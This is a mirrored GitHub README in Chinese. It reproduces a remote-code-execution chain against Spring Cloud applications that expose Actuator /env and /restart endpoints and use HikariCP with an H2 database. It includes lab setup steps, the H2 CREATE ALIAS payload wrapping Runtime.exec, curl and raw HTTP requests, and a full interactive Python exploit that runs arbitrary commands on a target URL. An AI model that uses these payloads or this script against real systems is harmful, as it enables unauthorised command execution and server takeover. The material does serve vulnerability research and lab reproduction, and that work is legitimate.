Git Product home page Git Product logo

springcloud-actuators-hikaricp-h2-database-rce-payload's Introduction

SpringCloud-Actuators-HikariCP-H2-database-RCE-payload

本篇文章复现与分析SpringCloud Actuator/HikariCP/H2利用链的RCE方法主要以SpringBoot2.x版本为主。原因是SpringBoot2.0开始,HikariCP数据库连接池成为SpringBoot的默认连接池,操作空间更大。另外,SpringBoot1.X如果环境足够也可以进行RCE,方法步骤相同,只是Actuator端点和传递参数的Content-Type有区别。

文章末尾的PoC/Exp脚本支持SpringBoot1.X和2.X两个版本的利用。

一、漏洞利用条件:

1、目标Web应用使用了HikariCP 数据库连接池(Spring2.x默认使用)

2、目标Web应用使用了H2数据库

<dependency>
    <groupId>com.h2database</groupId>
    <artifactId>h2</artifactId>
    <scope>runtime</scope>
</dependency>

3、/actuator/env 接口允许使用POST设置应用程序的环境变量。

POST /actuator/env HTTP/1.1
Content-type: applicaiton/json

{"name":"<NAME OF VARIABLE>","value":"<VALUE OF VARIABLE>"}

4、/actuator/restart 接口允许使用POST方法重启actuator环境。

二、环境搭建:

1、Docker环境

git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git
cd spring-boot-actuator-h2-rce
sudo docker build -t spaceraccoon/spring-boot-rce-lab .
sudo docker run -p 8080:8080 -t spaceraccoon/spring-boot-rce-lab
#执行上述命令后,springboot的环境被映射到本机8080端口。

2、源代码

git clone https://github.com/superboy-zjc/Vulnerable-environment.git
cd Vulnerable-environment/spring-boot-actuator-h2-rce/
java -jar springboot-h2-database-rce.jar
#默认在8080端口运行

三、漏洞利用原理:

1、利用条件之HikariCP数据库连接池

HikariCP是一个帮助WEB应用与数据库进行连接的连接池。它有一个配置项叫做:connectionTestQuery。它的作用是当一个WEB应用程序向HikariCP数据库连接池发送一个数据库连接请求时,HikariCP会首先执行这个配置项配置的SQL语句,来判断是否数据库可以正常被允许建立连接。这条配置项对应的SpringBoot环境变量名是:spring.datasource.hikari.connection-test-query

因此,通过POST /actuator/env来设置spring.datasource.hikari.connection-test-query环境变量,然后,通过/restart端口重启应用程序上下文刷新数据库的连接,来激活这个配置项,实现执行任意SQL语句。

POST /actuator/env HTTP/1.1
Content-type: applicaiton/json

{"name":"spring.datasource.hikari.connection-test-query","value":"SELECT 1"}

2、利用条件之H2 database数据库

通过H2数据库的一些小功能,我们可以联动起来达到RCE的效果。

H2数据库作为一个基于java开发的内存数据库,有着轻便、开源、速度快、提供友好的WEB界面、跨平台等等的优点。开发人员经常使用它来进行单元测试。由于其基于JAVA开发的特性,H2数据库提供了一些强大的兼容功能。其中之一就是CREATE ALIASSQL语句。通过CREATE ALIAS的功能,你可以定义一个JAVA函数,用一个别名和它关联起来,然后在SQL语句中通过别名来调用执行它。

CREATE ALIAS GET_SYSTEM_PROPERTY FOR "java.lang.System.getProperty";	#创建别名函数GET_SYSTEM_PROPERTY
CALL GET_SYSTEM_PROPERTY('java.class.path');	#执行别名函数GET_SYSTEM_PROPERTY

因此,通过H2数据库CREATE ALIAS的特性,我们可以设置一个Runtime.getRuntime().exec方法的别名给HikariCP的connectionTestQuery配置项,然后通过POST /actuator/env来达到任意命令执行~

spring.datasource.hikari.connection-test-query=CREATE ALIAS exec_name AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream());  if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL exec_name('命令');

3、利用条件之 Spring Cloud 对 /actuator/env 与 /actuator/restart POST方法的支持

Spring Boot官方文档中可以看到,SpringBoot Actuator中并不支持POST方法对/actuator/env环境变量的设置,只支持GET方法来获取环境数据。并且也没有/actuator/restart端口功能。

因此只有Spring Cloud微服务应用程序的Actuator才有可能支持以上两个端口的POST方法。以下是Spring Cloud的官方文档节选:

For a Spring Boot Actuator application, some additional management endpoints are available. You can use:

  • POST to /actuator/env to update the Environment and rebind @ConfigurationProperties and log levels.
  • /actuator/refresh to re-load the boot strap context and refresh the @RefreshScope beans.
  • /actuator/restart to close the ApplicationContext and restart it (disabled by default).
  • /actuator/pause and /actuator/resume for calling the Lifecycle methods (stop() and start() on the ApplicationContext).

四、漏洞利用方法:

⚠️ 注意:在SpringBoot运行期间,设置的别名(如下为EXEC别名)命名不能重复使用。如果设置的别名与某次别名相同,则restart后无法执行命令。另外,以下测试手段均有可能影响业务运行,请谨慎操作!

1、设置hikari数据库连接池的connection-test-query配置项

使用curl:

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'执行的操作系统命令\');\"}' 'http://localhost:8080/actuator/env'

或者发包:

POST /actuator/env HTTP/1.1
Content-type: applicaiton/json

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream());  if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL EXEC('执行的操作系统命令');"}

2、重启actuator

使用curl:

curl -X 'POST' -H 'Content-Type: application/json' 'http://localhost:8080/actuator/restart'

或者发包:

POST /actuator/restart HTTP/1.1
Content-type: applicaiton/json

五、PoC脚本

脚本实现了随机化设置别名,不会因为别名的重复而导致Spring服务出现问题。

import requests
import argparse
import json
import sys
from lxml import etree
import string
import random
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def spring_poc(url, command, version):
    if url[-1] != '/':
        url = url + '/'
    random_str = ''.join(random.choices(string.ascii_lowercase + string.ascii_uppercase, k = 8))
    if version == 1:
        headers = {
            'Content-Type' : 'application/x-www-form-urlencoded'
        }
        data = """\
            spring.datasource.hikari.connection-test-query=CREATE ALIAS %s AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream());  if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL %s('%s');\
            """ % (random_str, random_str, command)
    else:
        headers = {
            'Content-Type': "application/json"
        }
        data = """\
        {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS %s AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream());  if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL %s('%s');"}\
        """ % (random_str, random_str, command)
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url = url+'env', data=data, headers=headers, timeout=10, verify=False)
        if command in response.text:
            print(colors.OKGREEN + 'hikari.connection-test-query  is successfully configured!' + colors.reset)
        else:
            print(colors.FAIL + 'hikari.connection-test-query configuration failed.' + colors.reset)

        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url = url+'restart', data="", headers=headers, timeout=10, verify=False)
        if response.status_code == 200:
             print(colors.OKGREEN + 'Actuator restarted successfully!' + colors.reset)
        else:
            print(colors.FAIL + 'Actuator failed to restart.' + colors.reset)
        print(colors.OKCYAN + 'The command has been successfully executed!' + colors.reset)
    except Exception as e:
        print(colors.FAIL + 'Request exception.' + colors.reset)


class colors:
    reset='\033[0m'
    red='\033[31m'
    green='\033[32m'
    orange='\033[33m'
    blue='\033[34m'
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKCYAN = '\033[96m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

if __name__ == '__main__':
    banner = (colors.red + r"""
  _________            .__              ___________               
 /   _____/____________|__| ____    ____\_   _____/__  _________  
 \_____  \\____ \_  __ \  |/    \  / ___\|    __)_\  \/  /\____ \ 
 /        \  |_> >  | \/  |   |  \/ /_/  >        \>    < |  |_> >
/_______  /   __/|__|  |__|___|  /\___  /_______  /__/\_ \|   __/ 
        \/|__|                 \//_____/        \/      \/|__|   
    """+ "\n" + colors.blue + "vuln: " + colors.orange + "SpringCloud h2 database & hikaricp RCE" + "\n" \
        + colors.blue + "group: " + colors.green + "WgpSec Team" + "\t\t" + colors.reset \
        + colors.blue + "author: " + colors.green + "2h0ng" + "\n" + colors.reset)
    print(banner)

    
    ap = argparse.ArgumentParser()
    ap.add_argument("-u", "--url", required=True,
        help="Spring Actuator Endpoint absolute path, example: https://example.com/actuator/")
    ap.add_argument("-v", "--spring-version", required=False,
        help="Spring Boot Version, example: -v (1/2), default 2", default=2, type=int)
    args = vars(ap.parse_args())
    
    while True:
        command = input(colors.red + "$command:>> " + colors.reset)
        if command == 'exit':
            sys.exit(0)
        spring_poc(args['url'], command, args['spring_version'])

1、curl语句出网测试:

poc1.gif

2、反弹shell测试:

poc2.gif

参考资料:

https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database

https://segmentfault.com/a/1190000020636564

https://github.com/LandGrey/SpringBootVulExploit#0x0crestart-springdatasourcedata-h2-database-rce

springcloud-actuators-hikaricp-h2-database-rce-payload's People

Contributors

superboy-zjc avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.